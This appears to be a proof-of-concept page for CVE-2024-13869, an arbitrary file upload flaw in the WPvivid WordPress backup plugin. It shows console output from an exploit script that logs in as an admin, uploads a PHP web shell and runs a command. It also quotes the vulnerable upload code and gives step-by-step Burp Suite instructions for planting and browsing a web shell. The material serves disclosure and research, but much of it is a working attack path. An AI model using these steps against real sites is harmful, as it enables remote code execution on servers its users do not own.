CVE-2024-13869 PoC — Migration, Backup, Staging – WPvivid <= 0.9.112 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_file

Source

Associated Vulnerability

Description

Migration,Backup, Staging – WPvivid <= 0.9.112 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_file

Readme

# CVE-2024-13869
## Migration,Backup, Staging – WPvivid <= 0.9.112 - Authenticated (Admin+) Arbitrary File Upload via wpvivid_upload_file

The [wpvivid-backuprestore](https://wordpress.org/plugins/wpvivid-backuprestore/) plugin does not sanitize the file types of the `wpvivid_upload_file` action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.


## TL;DR Exploits
* A POC [CVE-2024-13869.py](https://github.com/d0n601/CVE-2024-13869/blob/main/CVE-2024-9162.py) is provided to demonstrate an administrator uploading a web shell named `hack.php`.
  
```console
python3 ./CVE-2024-13869.py https://lab0.hacker admin PASSWORD   
Logging into: https://lab0.hacker/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab0.hacker/wp-content/wpvividbackups/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 46962sec preferred_lft 46962sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86190sec preferred_lft 14190sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:c7:fd:25 brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec7:fd25/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:28:bd:99:83 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>
```


## Details  
It appears the `wpvivid_upload_file` action calls the `upload_files` function on line 293 of `/wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php`, which checks the nonce and user's permissions, but not the file type being uploaded to the server.

```php
    function upload_files()
    {
        check_ajax_referer( 'wpvivid_ajax', 'nonce' );
        $check=current_user_can('manage_options');
        $check=apply_filters('wpvivid_ajax_check_security',$check);
        if(!$check)
        {
            die();
        }

        try
        {
            $chunk = isset($_REQUEST["chunk"]) ? intval(sanitize_key($_REQUEST["chunk"])) : 0;
            $chunks = isset($_REQUEST["chunks"]) ? intval(sanitize_key($_REQUEST["chunks"])) : 0;

            $fileName = isset($_REQUEST["name"]) ? sanitize_text_field($_REQUEST["name"]) : $_FILES["file"]["name"];

            $backupdir=WPvivid_Setting::get_backupdir();
            $filePath = WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$backupdir.DIRECTORY_SEPARATOR.$fileName;

            $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");

            if ($out)
            {
                // Read binary input stream and append it to temp file
                $options['test_form'] =true;
                $options['action'] ='wpvivid_upload_files';
                $options['test_type'] = false;
                $options['ext'] = 'zip';
                $options['type'] = 'application/zip';

                add_filter('upload_dir', array($this, 'upload_dir'));

                $status = wp_handle_upload($_FILES['async-upload'],$options);

                remove_filter('upload_dir', array($this, 'upload_dir'));

                $in = @fopen($status['file'], "rb");

                if ($in)
                {
                    while ($buff = fread($in, 4096))
                        fwrite($out, $buff);
                }
                else
                {
                    echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open tmp file.path:".$status['file']));
                    die();
                }

                @fclose($in);
                @fclose($out);

                @wp_delete_file($status['file']);
            }
            else
            {
                echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open input stream.path:{$filePath}.part"));
                die();
            }

            if (!$chunks || $chunk == $chunks - 1)
            {
                // Strip the temp .part suffix off
                rename("{$filePath}.part", $filePath);
            }

            echo wp_json_encode(array('result' => WPVIVID_SUCCESS));
        }
        catch (Exception $error)
        {
            $message = 'An exception has occurred. class: '.get_class($error).';msg: '.$error->getMessage().';code: '.$error->getCode().';line: '.$error->getLine().';in_file: '.$error->getFile().';';
            error_log($message);
            echo wp_json_encode(array('result'=>'failed','error'=>$message));
        }
        die();
    }
```


## Manual Reproduction
1. Login to the admin panel and navigate to the `WPvivid Backup` tab.
2. Under `Backup & Restore`, click the `Backup Now` button to create a new backup and download it so we can use the `.zip` file in the following steps.
3. Under the `Backup & Restore` section again, navigate to the `Upload` tab and select the `.zip` we've just created. 
![pre_upload](https://github.com/user-attachments/assets/55ddbb43-ba15-47b2-88ac-dd801208049e)
4. Start up Burp Suite or a similar tool and begin intercepting the traffic. 
5. Click `Upload` and intercept the `POST` request to `/wp-admin/admin-ajax.php` calling the `wpvivid_upload_files` action.
![intercept_call](https://github.com/user-attachments/assets/6fcb8edd-9d34-4b05-b1aa-0b83c8d4795c)
6. Modify the request to include an arbitrary file, in the example below we're uploading a php web shell. 
![modify](https://github.com/user-attachments/assets/7170a0b2-a9b6-4623-919d-3f105d9e2d45)
7. Send the request and recieve `{"result":"success"}`.
![sent_modified](https://github.com/user-attachments/assets/a49b17fb-2c62-41d9-88e9-63ad77a4e164)
8. Browse the web shell at `https://example.com/wp-content/wpvividbackups/webshell.php` and execute code.
![hitshell](https://github.com/user-attachments/assets/fe5907a6-239c-4367-ad70-73c420b06443)

File Snapshot

 [4.0K]  /data/pocs/61c146591a0a6d9e19fb189e993f66956f019bfb
├── [4.7K]  CVE-2024-9162.py
├── [ 34K]  LICENSE
└── [6.7K]  README.md

0 directories, 3 files

Remarks